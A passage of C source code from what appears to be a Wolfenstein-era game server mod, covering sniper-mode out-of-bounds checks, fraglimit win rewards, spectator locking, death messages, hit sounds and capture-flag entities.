G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if (!Q_stricmp(mapName, "mp_frost") &&(ent->client->ps.origin[0] > 3666)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_ice")) && ((ent->client->ps.origin[0] > -4557) ||((ent->client->ps.origin[0] > -6942)&&(ent->client->ps.origin[1] > 800)))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_sub")) && (!Q_stricmp(ent->client->pers.location, "generator room"))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_tank")) && ((ent->client->ps.origin[0] < -7127) ||(ent->client->ps.origin[2] < -380))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_village")) && (!Q_stricmp(ent->client->pers.location, "southeast city wall"))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "norway")) && (ent->client->ps.origin[0] < -4502)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "ogg_snipers")) && (ent->client->ps.origin[1] > 600 )){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5Allied Spawn ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "sfm")) && (ent->client->ps.origin[1] > 1416)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5Allied Spawn ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "rwfsniper2")) && ((ent->client->ps.origin[0] > 3340) ||
(ent->client->ps.origin[0] < -3432) ||(ent->client->ps.origin[1] > 2800)||(ent->client->ps.origin[1] < -3300) ||
(ent->client->ps.origin[0] < -786))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "tt_trench")) && (ent->client->ps.origin[1] > 434)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "dam")) && (ent->client->ps.origin[1] > 3076)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "trainyard")) && ((ent->client->ps.origin[0] > 2400)||(ent->client->ps.origin[0] > 1350))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
}
}
/*
=======================
clearCleanIp
=======================
This is the next 2 functions, has to be split up to prevent it from crashing
*/
void clearCleanIp2(void){
FILE *bannedfile;
FILE *tempfile;
char tempbannedips[1000];
bannedfile=fopen("cleanclients.txt","w");
if(bannedfile){
tempfile=fopen("cleanclientstemp.txt","r");
while (fgets(tempbannedips,20,tempfile)!=NULL)
{
fputs(tempbannedips,bannedfile);
}
fclose(bannedfile);
fclose(tempfile);
remove("cleanclientstemp.txt");
}
}
void clearCleanIp(gentity_t *ent){
FILE *bannedfile;
FILE *tempfile;
char bannedips[18];
bannedfile=fopen("cleanclients.txt","r");
if(bannedfile){
tempfile=fopen("cleanclientstemp.txt","w");
while (fgets(bannedips,20,bannedfile)!=NULL)
{
if(Q_stricmp (bannedips, va("%s\n",ent->client->sess.ip)))
{
fputs(bannedips,tempfile);
}
}
fclose(bannedfile);
fclose(tempfile);
clearCleanIp2();
}
}
/*
============
WinFree4All
============
*/
void WinFree4All(){
gentity_t *other;
gentity_t *te;
int i;
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
if(other == level.highkiller)
continue;
other->client->ps.weapons[0] = 0;
other->client->ps.weapons[1] = 0;
other->client->ps.weapon = 0;
other->client->ps.endDeathmatch++;
trap_SendServerCommand(other-g_entities, va("chat \"console: %s ^3has hit the fraglimit!\n\"", level.highkiller->client->pers.netname));
}
trap_SendServerCommand(-1, va("cp \"%s ^7has won the match!\n\"3", level.highkiller->client->pers.netname));
//tell him he won
trap_SendServerCommand(level.highkiller-g_entities, va("chat \"console: ^3You have hit the fraglimit!\n\"", level.highkiller->client->pers.netname));
//give him some god he deserves it
level.highkiller->flags |= FL_GODMODE;
//no fatige is always nice
level.highkiller->flags |= FL_NOFATIGUE;
//Well i couldnt make the round end so i made up a better idea :)
//clear wepons he has
level.highkiller->client->ps.weapons[0] = 0;
level.highkiller->client->ps.weapons[1] = 0;
//clear weapon he has out
level.highkiller->client->ps.weapon = 0;
//make panzer = ownage
ammoTable[WP_PANZERFAUST].maxammo = 1000000;
ammoTable[WP_PANZERFAUST].maxclip = 1000000;
ammoTable[WP_PANZERFAUST].fireDelayTime = 0;
ammoTable[WP_PANZERFAUST].nextShotTime = 100;
//clear ammo
memset(level.highkiller->client->ps.ammo,MAX_WEAPONS,sizeof(int));
//play a sound
te = G_TempEntity( level.highkiller->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/finishhim.wav");
te->s.teamNum = level.highkiller->s.clientNum;
//give him a panzer
COM_BitSet( level.highkiller->client->ps.weapons, WP_PANZERFAUST );
//give him ammo and lots of it
level.highkiller->client->ps.ammoclip[BG_FindClipForWeapon(WP_PANZERFAUST)] = 1000000;
level.highkiller->client->ps.ammo[BG_FindAmmoForWeapon(WP_PANZERFAUST)] = 1000000;
level.highkiller->client->ps.powerups[PW_REDFLAG] = INT_MAX;
level.highkiller->client->ps.powerups[PW_QUAD] = INT_MAX;
level.highkiller->client->ps.powerups[PW_FLIGHT] = INT_MAX;
level.endDeathmatch++;//just make this not 0 so g_main can reconize it :)
level.highkiller->client->ps.endDeathmatch++;
level.nextDeathmatchendTime = level.time +3000;
//I think this will make him switch to the panzer
level.highkiller->client->ps.weapon = WP_PANZERFAUST;
}
/*
================
CheckDeathmatch
================
*/
void CheckDeathmatch(gentity_t *attacker, gentity_t *self){
gentity_t *te;
//return if attacker is not a client
if(!(attacker && attacker->client))
return;
//he killed himself so return
if(attacker == self)
return;
//return if they dont have enough kills
if (attacker->client->pers.kills < level.highkill)
return;
if(attacker->client->pers.kills == level.highkill){
trap_SendServerCommand( -1, va("chat \"console: %s ^3has tied with the lead!\n",attacker->client->pers.netname));
te = G_TempEntity( attacker->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/TiedLead.wav");
te->s.teamNum = attacker->s.clientNum;
}
if((attacker->client->pers.kills > level.highkill)&&(attacker != level.highkiller)){
trap_SendServerCommand( -1, va("chat \"console: %s ^3has taken the lead!\n", attacker->client->pers.netname));
te = G_TempEntity( attacker->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/TakenLead.wav");
te->s.teamNum = attacker->s.clientNum;
level.highkiller = attacker;
}
if (level.highkiller == attacker)
level.highkill = level.highkiller->client->pers.kills;
//lets check for our fraglimit
if(level.highkill >= g_fraglimit.integer){
//hmmmm... if they hit it i think ill just make another function for this above^^^
WinFree4All();
}
}
/*
=============
checkSpeclock
=============
*/
void checkSpeclock(gentity_t *ent){
gclient_t *client;
int clientNum;
int specClient;
client = ent->client;
clientNum = client - level.clients;
if(ent->client->pers.connected != CON_CONNECTED)//hes not connected return
return;
if(ent->client->sess.sessionTeam == TEAM_RED || ent->client->sess.sessionTeam == TEAM_BLUE)
return;//hes allowed to spec his team when hes dead
//if they are speclocked already lets see if they want unlocked
if(ent->client->sess.isspeclocked){
if(ent->client->sess.admin ){//hes an admin unlock him
spec_unlock(ent);
return;
}
if(ent->client->sess.speclock == 3){//he can watch whoever he wants let him go
spec_unlock(ent);
return;
}
if(g_speclock.integer == 0 ){
spec_unlock(ent);
return;
}
}
else
{//they arnt speclocked should they be
if(ent->client->sess.admin)//an admin just return
return;
if(ent->client->sess.speclock == 3)//hes been allowed to spec both teams so return
return;
//Making myself a guid here because for some reason i keep mixing this up
//for sess.speclock
//0 = cant spec
//1 = can spec axis
//2 = can spec allies
//3 = can spec whoever they want
//for g_speclock
//0 = off
//1 = cant spec axis
//2 = cant spec allies
//3 = cant spec
if(ent->client->sess.spectatorState == SPECTATOR_FOLLOW){
specClient = ent->client->sess.spectatorClient;
if(g_speclock.integer == 1){//axis team is locked
if(level.clients[specClient].sess.sessionTeam == TEAM_RED){
if(ent->client->sess.speclock == 0 || ent->client->sess.speclock == 2){
spec_lock(ent);
return;
}
}
}else if(g_speclock.integer == 2){
if(level.clients[specClient].sess.sessionTeam == TEAM_BLUE){
if(ent->client->sess.speclock == 0 || ent->client->sess.speclock == 1){
spec_lock(ent);
return;
}
}
}else if(g_speclock.integer == 3){
if(ent->client->sess.speclock == 0){
spec_lock(ent);
return;
}else if(ent->client->sess.speclock == 1){
if(level.clients[specClient].sess.sessionTeam == TEAM_BLUE){
spec_lock(ent);
return;
}
}else if(ent->client->sess.speclock == 2){
if(level.clients[specClient].sess.sessionTeam == TEAM_RED){
spec_lock(ent);
return;
}
}
}
}
if(ent->client->sess.spectatorState == SPECTATOR_FREE){
spec_lock(ent);
return;
}
}
}
/*
=============
spec_lock
=============
*/
void spec_lock(gentity_t *ent){
gclient_t *client;
int clientNum;
vec3_t origin;
vec3_t angles;
client = ent->client;
clientNum = client - level.clients;
if(!g_speclock.integer)
return;
if(ent->client->sess.sessionTeam !=TEAM_SPECTATOR)
return;
origin[0]= -9999;
origin[1]= -9999;
origin[2]= -9999;
angles[0]= 87;
angles[1]= 180;
angles[2]= 0;
ent->client->sess.spectatorState = SPECTATOR_FREE;
TeleportPlayer( ent, origin, angles );
ent->client->sess.spectatorClient = clientNum;
ent->client->sess.isspeclocked = 1;
}
/*
=============
spec_unlock
=============
*/
void spec_unlock(gentity_t *ent){
gclient_t *client;
int clientNum;
client = ent->client;
clientNum = client - level.clients;
if(ent->client->sess.sessionTeam !=TEAM_SPECTATOR)
return;
ent->client->sess.isspeclocked = 0;
// ent->client->sess.spectatorState = SPECTATOR_FREE;
ent->client->ps.pm_flags &= ~PMF_TIME_LOCKPLAYER;
// SetTeam( ent, "spectator",qfalse );
ClientBegin(clientNum);
// trap_SendServerCommand( -1, "chat \" spec_unlock was called - TAKE THIS OUT (agent)\n\"");
}
/*
================
print_mod
================
*/
//makes the messages of death server side
void print_mod(gentity_t *attacker, gentity_t *self, int meansOfDeath ){
gentity_t *te;
gentity_t *other;
char *message;
char *message2;
char index[MAX_OSPATH];
int i;
message= 0;
message2= 0;
//just do this to fix the crap that prints at the end of mod sometimes :)
//Q_strncpyz ( message, "", sizeof( message ) );
//Q_strncpyz ( message2, "", sizeof( message2 ) );
if (g_deathmatch.integer < 2){
if(!(attacker==self)){
if (OnSameTeam(attacker, self))
trap_SendServerCommand(attacker-g_entities, va("cp \"You killed ^1TEAMMATE ^7%s\n\"", self->client->pers.netname ));
else
trap_SendServerCommand(attacker-g_entities, va("cp \"You killed %s", self->client->pers.netname ));
}
}
// For deathmatch 2, everyone is an enemy
if (g_deathmatch.integer == 2){
if(!(attacker==self)){
trap_SendServerCommand(attacker-g_entities, va("cp \"You killed %s", self->client->pers.netname ));
}
}
if(!attacker->client){
if (meansOfDeath == MOD_SUICIDE){
if (self->client->sess.gender == 0)
message = "slit his own throat";
else
message = "slit her own throat";
}
else if (meansOfDeath == MOD_FALLING){
if (self->client->sess.gender == 0)
message = "fell to his death";
else
message = "fell to her death";
}
else if (meansOfDeath == MOD_ADMIN_SLAP){//for slap WAS 1006
message = "was slapped to death by rcon";
}
else if (meansOfDeath == 1000){//for deathmatch out of bounds
message = "went out of bounds";
}
else if (meansOfDeath == MOD_ADMIN_KILL){//for admin kill was 1007
message = "was killed by rcon";
}
else if (meansOfDeath == 1010){//for CV kill
message = "was killed ^3for centerviewing";
}
else if (meansOfDeath == MOD_CRUSH){
message = "was crushed";
}
else if (meansOfDeath == MOD_WATER){
message = "drowned";
}
else if (meansOfDeath == MOD_SLIME){
message = "died by toxic materials";
}
else if (meansOfDeath == MOD_TRIGGER_HURT){
message = "was killed";
}
else if (meansOfDeath == MOD_MORTAR || meansOfDeath == MOD_MORTAR_SPLASH){
message = "was shelled";
}
else if (meansOfDeath == MOD_FLAMETHROWER){
message = "was cooked";
}else if (meansOfDeath == MOD_LOPER_LEAP){
message = "dove on a landmine";
}else{
message = "died";
}
if (message) {
trap_SendServerCommand(-1, va("print \"^7%s ^7%s\n", self->client->pers.netname, message));
return;
}
}
if (attacker == self) {
if (meansOfDeath == MOD_DYNAMITE_SPLASH || meansOfDeath == MOD_DYNAMITE){
if (self->client->sess.gender == 0)
message = "dynamited himself to pieces";
else
message = "dynamited herself to pieces";
}
else if (meansOfDeath == 1004){//for /kill
if (self->client->sess.gender == 0)
message = "slit his own throat";
else
message = "slit her own throat";
}
else if (meansOfDeath == 1005){//for /gib
if (self->client->sess.gender == 0)
message = "was holding a ticking grenade";
else
message = "was holding a ticking grenade";
}
else if (meansOfDeath == MOD_GRENADE_PINEAPPLE ||meansOfDeath == MOD_GRENADE_SPLASH || meansOfDeath == MOD_GRENADE_LAUNCHER){
if (self->client->sess.gender == 0)
message = "dove on his own grenade";
else
message = "dove on her own grenade";
}
else if (meansOfDeath == MOD_ROCKET_SPLASH){
if (self->client->sess.gender == 0)
message = "vaporized himself";
else
message = "vaporized herself";
}
else if (meansOfDeath == MOD_AIRSTRIKE){
if (self->client->sess.gender == 0)
message = "obliterated himself";
else
message = "obliterated herself";
}
else if (meansOfDeath == MOD_ARTILLERY){
if (self->client->sess.gender == 0)
message = "fired for effect on himself";
else
message = "fired for effect on herself";
}
else if (meansOfDeath == MOD_EXPLOSIVE){
if (self->client->sess.gender == 0)
message = "died in his own explosion";
else
message = "died in her own explosion";
}
//yes it is possiable to kill yourself on this
else if (meansOfDeath == MOD_MACHINEGUN){
if (self->client->sess.gender == 0)
message = "perforated himself";
else
message = "perforated herself";
}
//noob who ran into fire
else if (meansOfDeath == MOD_FLAMETHROWER){
if (self->client->sess.gender == 0)
message = "cooked himself";
else
message = "cooked herself";
}
else if (meansOfDeath == MOD_THROWING_KNIFE){
if (self->client->sess.gender == 0)
message = "failed to juggle his own knives";
else
message = "failed to juggle her own knives";
}
else if (meansOfDeath == MOD_LANDMINE){
if (self->client->sess.gender == 0)
message = "was to close to his own mine";
else
message = "was to close to her own mine";
}else{
if (self->client->sess.gender == 0)
message = "killed himself";
else
message = "killed herself";
}
if (message) {
trap_SendServerCommand(-1, va("print \"^7%s ^7%s\n", self->client->pers.netname, message));
return;
}
}
if ( attacker && attacker->client ) {
if (meansOfDeath == MOD_KNIFE2 || meansOfDeath == MOD_KNIFE || meansOfDeath == MOD_KNIFE_STEALTH){
message = "was stabbed by";
message2 = "'s knife";
if(!OnSameTeam(attacker,self)){
Q_strncpyz(index, "sound/player/humiliation.wav", sizeof(index));
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
G_AddEvent( attacker, EV_GENERAL_SOUND, G_SoundIndex( "sound/player/goat.wav" ));
}
}
else if (meansOfDeath == MOD_LUGER){
message = "was killed by";
message2 = "'s Luger 9mm";
}
else if (meansOfDeath == MOD_COLT){
message = "was killed by";
message2 = "'s .45ACP 1911";
}
else if (meansOfDeath == MOD_MP40){
message = "was killed by";
message2 = "'s MP40";
}
else if (meansOfDeath == MOD_THOMPSON){
message = "was killed by";
message2 = "'s Thompson";
}
else if (meansOfDeath == MOD_STEN){
message = "was killed by";
message2 = "'s Sten";
}
else if (meansOfDeath == MOD_MAUSER){
message = "was killed by";
message2 = "'s Mauser";
if(g_deathmatch.integer == 2)
message2 = "'s Shotgun";
}
else if (meansOfDeath == MOD_SNIPERRIFLE){
if ((g_SniperMode.integer) && (self->client->ps.eFlags & EF_HEADSHOT)){
message = "was decapitated by";
message2 = "'s sniper rifle";
/* if(!OnSameTeam(attacker,self)){
Q_strncpyz(index, "sound/player/headshot.wav", sizeof(index));
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
*/
}else{
message = "was killed by";
message2 = "'s sniper rifle";
}
}
/*else if (meansOfDeath == MOD_SNIPERRIFLE){
message = "was killed by";
message2 = "'s sniper rifle";
}*/
else if (meansOfDeath == MOD_DYNAMITE_SPLASH || meansOfDeath == MOD_DYNAMITE){
message = "was blasted by";
message2 = "'s dynamite";
}
else if (meansOfDeath == MOD_ROCKET_SPLASH || meansOfDeath == MOD_ROCKET_LAUNCHER || meansOfDeath == MOD_ROCKET){
message = "was blasted by";
message2 = "'s Panzerfaust";
}
else if (meansOfDeath == MOD_GRENADE_PINEAPPLE ||meansOfDeath == MOD_GRENADE_SPLASH||meansOfDeath == MOD_GRENADE || meansOfDeath == MOD_GRENADE_LAUNCHER){
message = "was exploded by";
message2 = "'s grenade";
}
else if (meansOfDeath == MOD_VENOM){
message = "was ventilated by";
message2 = "'s Venom";
}
else if (meansOfDeath == MOD_FLAMETHROWER){
message = "was cooked by";
message2 = "'s flamethrower";
}
else if (meansOfDeath == MOD_MACHINEGUN){
message = "was perforated by";
message2 = "'s crew-served MG42";
}
else if (meansOfDeath == MOD_AIRSTRIKE){
message = "was blasted by";
message2 = "'s support fire"; // JPW NERVE changed since it gets called for both air strikes and artillery
}
else if (meansOfDeath == MOD_ARTILLERY){
message = "was shelled by";
message2 = "'s artillery support"; // JPW NERVE changed since it gets called for both air strikes and artillery
}
else if (meansOfDeath == MOD_POISON_SYRINGE){ //WAS means of death == 1001
message = "was poisoned by";
attacker->client->pers.poisons++;
if(g_gamestate.integer == GS_PLAYING){
if(attacker->client->pers.poisons > level.Hapoisonnum){
Q_strncpyz ( level.Hahighpoisoners, "", sizeof( level.HAhighkillers ) );
strcat(level.Hahighpoisoners, attacker->client->pers.netname);
level.Hapoisonnum = attacker->client->pers.poisons;
}else if(attacker->client->pers.poisons == level.Hapoisonnum){
strcat(level.Hahighpoisoners, "^7, ");//Add a comma after the other person
strcat(level.Hahighpoisoners, attacker->client->pers.netname);//and add their name
}
}
}
else if (meansOfDeath == MOD_GOOMBA){ //WAS meansOfDeath == 1002
message = "experienced death from above by";
attacker->client->pers.goomba++;
if(g_gamestate.integer == GS_PLAYING){
if(attacker->client->pers.goomba > level.HAgoombanum){
Q_strncpyz ( level.HAhighgoombaers, "", sizeof( level.HAhighgoombaers ) );
strcat(level.HAhighgoombaers, attacker->client->pers.netname);
level.HAgoombanum = attacker->client->pers.goomba;
}else if(attacker->client->pers.goomba == level.HAgoombanum){
strcat(level.HAhighgoombaers, "^7, ");//Add a comma after the other person
strcat(level.HAhighgoombaers, attacker->client->pers.netname);//and add their name
}
}
}
else if (meansOfDeath == MOD_THROWING_KNIFE){ // WAS meansOfDeath == 1003
message = "was impaled by";
message2 = "'s throwing knife";
}
else if (meansOfDeath == MOD_LANDMINE){ // WAS meansOfDeath == 1008
message = "tripped on";
message2 = "'s mine";
}
else if (meansOfDeath == MOD_FALLING){
message = "was pushed by";
message2 = "";
}
else if (meansOfDeath == MOD_TELEFRAG){
message = "was telefragged by";
}else{
message = "was killed by";
}
// JPW NERVE if attacker != target but on same team
if(g_deathmatch.integer < 2){
if ((OnSameTeam(attacker, self)) && (!(attacker==self))){
if (meansOfDeath == MOD_FALLING){
message = "^1WAS PUSHED BY TEAMMATE^7";
message2="";
}else{
message = "^1WAS KILLED BY TEAMMATE^7";
message2="";
}
}
}
if (!message2) {
trap_SendServerCommand(-1, va("print \"^7%s ^7%s ^7%s\n", self->client->pers.netname, message, attacker->client->pers.netname));
return;
}else{
trap_SendServerCommand(-1, va("print \"^7%s ^7%s ^7%s^7%s\n", self->client->pers.netname, message, attacker->client->pers.netname, message2));
return;
}
}
}
/*
==========
HitSounds
==========
*/
void HitSounds(gentity_t *ent,gentity_t *targ,qboolean isHeadshot){
gentity_t *te;
if(ent->client->sess.colorFlags & HITSOUNDS_OFF)
return;
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
// Regular hitsounds for Freeforall
if(g_deathmatch.integer == 2){
if(isHeadshot){
te->s.eventParm = G_SoundIndex("sound/player/hithead.wav");
}else{
te->s.eventParm = G_SoundIndex("sound/player/hit.wav");
}
// Non FreeForAll
}else{
if(OnSameTeam(ent,targ)){
te->s.eventParm = G_SoundIndex("sound/player/hitteam.wav");
}else if(!OnSameTeam(ent,targ)){
if(isHeadshot){
te->s.eventParm = G_SoundIndex("sound/player/hithead.wav");
}else{
te->s.eventParm = G_SoundIndex("sound/player/hit.wav");
}
}else{
return;
}
}
te->s.teamNum = ent->s.clientNum;
}
#define WCP_ANIM_NOFLAG 0
#define WCP_ANIM_RAISE_AXIS 1
#define WCP_ANIM_RAISE_AMERICAN 2
#define WCP_ANIM_AXIS_RAISED 3
#define WCP_ANIM_AMERICAN_RAISED 4
#define WCP_ANIM_AXIS_TO_AMERICAN 5
#define WCP_ANIM_AMERICAN_TO_AXIS 6
#define WCP_ANIM_AXIS_FALLING 7
#define WCP_ANIM_AMERICAN_FALLING 8
void CTF_think(gentity_t * self){
switch ( self->s.frame ) {
case WCP_ANIM_NOFLAG:
break;
case WCP_ANIM_RAISE_AXIS:
self->s.frame = WCP_ANIM_AXIS_RAISED;
break;
case WCP_ANIM_RAISE_AMERICAN:
self->s.frame = WCP_ANIM_AMERICAN_RAISED;
break;
case WCP_ANIM_AXIS_RAISED:
break;
case WCP_ANIM_AMERICAN_RAISED:
break;
case WCP_ANIM_AXIS_TO_AMERICAN:
self->s.frame = WCP_ANIM_AMERICAN_RAISED;
break;
case WCP_ANIM_AMERICAN_TO_AXIS:
self->s.frame = WCP_ANIM_AXIS_RAISED;
break;
case WCP_ANIM_AXIS_FALLING:
self->s.frame = WCP_ANIM_NOFLAG;
break;
case WCP_ANIM_AMERICAN_FALLING:
self->s.frame = WCP_ANIM_NOFLAG;
break;
default:
break;
}
self->touch = CTF_touch;
self->nextthink = 0;
}
void CTF_touch(gentity_t *self, gentity_t *other, trace_t *trace){
if(self->count2 == other->client->sess.sessionTeam)
return;
// Set controlling team
self->count = other->client->sess.sessionTeam;
// Set animation
if ( self->count == TEAM_RED ) {
self->dl_color[0] = 1;
self->dl_color[1] = 0;
self->dl_color[2] = 0;
SP_dlight(self);
if ( self->s.frame == WCP_ANIM_NOFLAG )
self->s.frame = WCP_ANIM_RAISE_AXIS;
else if ( self->s.frame == WCP_ANIM_AMERICAN_RAISED )
self->s.frame = WCP_ANIM_AMERICAN_TO_AXIS;
else
self->s.frame = WCP_ANIM_AXIS_RAISED;
} else {
self->dl_color[0] = 0;
self->dl_color[1] = 0;
self->dl_color[2] = 1;
SP_dlight(self);
if ( self->s.frame == WCP_ANIM_NOFLAG )
self->s.frame = WCP_ANIM_RAISE_AMERICAN;
else if ( self->s.frame == WCP_ANIM_AXIS_RAISED )
self->s.frame = WCP_ANIM_AXIS_TO_AMERICAN;
else
self->s.frame = WCP_ANIM_AMERICAN_RAISED;
}
// Play a sound
G_AddEvent( self, EV_GENERAL_SOUND, self->soundPos1 );
// Don't allow touch again until animation is finished
self->touch = NULL;
self->think = CTF_think;
self->nextthink = level.time + 1000;
}
void SP_CTF_flag(gentity_t *ent)
{
char *capture_sound;
// Make sure the ET_TRAP entity type stays valid
ent->s.eType = ET_TRAP;
// Model is user assignable, but it will always try and use the animations for flagpole.md3
if ( ent->model )
ent->s.modelindex = G_ModelIndex ( ent->model );
else
ent->s.modelindex = G_ModelIndex ( "models/multiplayer/flagpole/flagpole.md3" );
G_SpawnString( "noise", "sound/movers/doors/door6_open.wav", &capture_sound );
ent->soundPos1 = G_SoundIndex ( capture_sound );
ent->clipmask = CONTENTS_SOLID;
ent->r.contents = CONTENTS_SOLID;
VectorSet (ent->r.mins, -8, -8, 0);
VectorSet (ent->r.maxs, 8, 8, 128);
G_SetOrigin( ent, ent->s.origin );
G_SetAngle (ent, ent->s.angles);
// s.frame is the animation number
if(ent->count == 1){ //axis
ent->s.frame = WCP_ANIM_AXIS_RAISED;
//trap_SendServerCommand(-1, va("chat \"console:Axis capture fb\n\""));
ent->dl_color[0] = 1;
ent->dl_color[1] = 0;
ent->dl_color[2] = 0;
SP_dlight(ent);
}else{ //allies
ent->s.frame = WCP_ANIM_AMERICAN_RAISED;
ent->dl_color[0] = 0;
ent->dl_color[1] = 0;
ent->dl_color[2] = 1;
SP_dlight(ent);
}
// s.teamNum is which set of animations to use ( only 1 right now )
ent->s.teamNum = 1;
//when its touched call CTF_touch, located in S4ND_func
ent->touch = CTF_touch;
trap_LinkEntity (ent);
}
/*
=============================
SPAWN FLAG
=============================
*/
// Shoves the shit into the spawn flag
void SP_cust_spawnflag(gentity_t *ent){
char *capture_sound;
// Make sure the ET_TRAP entity type stays valid
